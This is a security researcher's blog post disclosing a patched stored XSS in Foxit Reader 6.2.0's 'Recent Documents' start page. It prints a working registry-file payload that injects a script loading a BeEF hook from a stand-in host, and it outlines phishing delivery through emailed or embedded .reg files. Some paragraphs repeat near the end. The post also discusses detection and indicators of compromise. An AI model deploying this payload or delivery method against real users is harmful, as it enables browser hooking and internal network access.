Basic protections like AV, application white-listing as well as more advanced ones like EMET are used to make the life of criminals (and pentesters) harder, but they're often bypassed. While discussing alternatives with my friend, he told me that the company replaced Adobe Reader after seeing lots of Security Advisories for the product. And what was the replacement? Foxit Reader:
 |
| Advisories for Adobe Reader and Foxit Reader listed on OSVDB (May/2014) |
The moment I head the word Foxit Reader I remembered of an old exploit I created a long time ago. The vulnerability wasn't that critical but I knew that it would fit for the situation (and for this blog post).
Security Advisory
http://www.foxitsoftware.com/support/security_bulletins.php#FRD-21
Fixed a security issue caused by the Stored XSS vulnerability when reading and displaying filenames and their paths on the “Recent Documents” section from the Start Page.
Summary
Foxit Reader 6.2.1, Foxit Enterprise Reader 6.2.1, and Foxit PhantomPDF 6.2.1 fixed a security issue caused by the Stored XSS vulnerability when reading and displaying filenames and their paths on the “Recent Documents” section from the Start Page. Attackers could tamper with the registry entry and cause the application to load malicious files.
When opening a PDF, Foxit creates a "FileX" registry entry with the document's complete path:
[HKEY_CURRENT_USER\Software\Foxit Software\Foxit Reader 6.0\Recent File List]
"File1"="C:\\w00t.pdf"
Whenever you open a document, Foxit 6.x displays the start panel on a different tab by default. All you need to do is edit the registry and place your XSS payload (or the BeEF hook) on the FileX entry:
C:\Users\Admin\Desktop>type reg.reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Foxit Software\Foxit Reader 6.0\Recent File List]
"File1"="C:\\w00t.pdf<script src=\"http://BEEF/hook.js\"></script>"
C:\Users\Admin\Desktop>reg import reg.reg
The operation completed successfully.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Foxit Software\Foxit Reader 6.0\Recent File List]
"File1"="C:\\w00t.pdf<script src=\"http://BEEF/hook.js\"></script>"
C:\Users\Admin\Desktop>reg import reg.reg
The operation completed successfully.
Now wait for the victim to open any PDF File (using Foxit Reader):
Affected Versions
Affected Versions
Foxit Reader 6.2.0.0429 and earlier
Foxit Enterprise Reader 6.2.0.0429 and earlier
Foxit PhantomPDF 6.2.0.0429 and earlier
Solution
Upgrade to Foxit Reader 6.2.1, Foxit Enterprise Reader 6.2.1, or Foxit PhantomPDF 6.2.1.
Security Process
2014-05-24: Bernardo Rodrigues found the issue;
2014-06-03: Core Security Technologies confirmed the issue;
2014-06-11: Foxit fixed the issue;
2014-07-01: Foxit released fixed version of Foxit Reader 6.2.1/Foxit Enterprise Reader 6.2.1/Foxit PhantomPDF 6.2.1.
Foxit Reader XSS + Phishing
I know, the bug does not seem to be that good and would have no use during a pentest engagement. When I first found this flaw, I could basically think of three ways to compromise the user's Foxit Reader installation:
1 - Sending a PDF with the XSS payload on the filename
That would be the ideal solution but I was unable to craft a file with the XSS payload and open it on a Windows System. Microsoft Windows won't create filenames with special chars like <, > and / so I booted my Linux VM, created a file called <plaintext>.pdf and compressed it into test.zip.
When double clicking the file on WinRAR, the OS won't open it. If we drag it to the Foxit Reader Window, the special chars are replaced and the XSS payload won't load.
I tried to use alternative encodings and different XSS vectors, but I could't exploit it properly on Windows. If you have any better idea please let me know.
2 - Send a .reg to the user and ask him to double click it
Most people won't click on executable attachments on e-mails: that's why Brazilian criminals distribute malware using CPL files, for example. Some e-mail providers like Outlook block .reg attachments, but many other services like Gmail won't block them:
Registry file blocked on Outlook:
3 - Embed the .reg object on a RTF or Word Document and instruct the user to run it
There's a video for this one, featuring BeEF, your favorite
The interesting part here is that the PDF Reader is not subject to the Same-Origin Policy and the hook can be used as reliable proxy to the internal network.
Conclusion
You may be asking "why not embed a malware on the document?". Firstly because this is a noisy technique and most AV/whitelisting products would detect this attempt. You could also modify the user's registry to load a PAC file on the browser or use powershell scripts to bypass some restrictions, but in this case there would be no need for this blog post =)
It doesn't matter how secure your product is or how much vulnerabilities were disclosed for it: if you're targeted by big Offensive players, you're certainly getting pwned. If other less sophisticated attackers want to attack you, they'll pwn you as well, because people still fall for phishing.
What makes your security posture better is how you detect and respond to these threats. I like approaches like the one described by Haifei Li & Chong Xu at CanSecWest 2014. Their talk on Exploit Detection described how "DNA comparison" can be used to flag and detect application's unusual behavior, leading to exploit discovery:
In this simple phishing scenario, Microsoft Word (and WordPad) drops a registry file on the %TEMP% folder as soon as the file is opened. This is clearly an unusual behavior and should be flagged by security solutions. This could also be used as an IOC to analyze big sets of files/documents.
David Ross made a post recently describing lots of different scenarios for XSS persistence. This is yet another XSS persistence mechanism that could be used to backdoor compromised systems, for example.
I hope you enjoyed this two page write-up about XSS, because, you know, everybody likes hearing about cool hacking techniques and...
What makes your security posture better is how you detect and respond to these threats. I like approaches like the one described by Haifei Li & Chong Xu at CanSecWest 2014. Their talk on Exploit Detection described how "DNA comparison" can be used to flag and detect application's unusual behavior, leading to exploit discovery:
 |
| Exploit Detection, Haifei Li & Chong Xu (CanSecWest 2014) |
In this simple phishing scenario, Microsoft Word (and WordPad) drops a registry file on the %TEMP% folder as soon as the file is opened. This is clearly an unusual behavior and should be flagged by security solutions. This could also be used as an IOC to analyze big sets of files/documents.
David Ross made a post recently describing lots of different scenarios for XSS persistence. This is yet another XSS persistence mechanism that could be used to backdoor compromised systems, for example.
...Well, at least there was a cool Youtube video showing a cool BeEF hook and...
Hm, I'd better finish this post with a Dilbert comic.
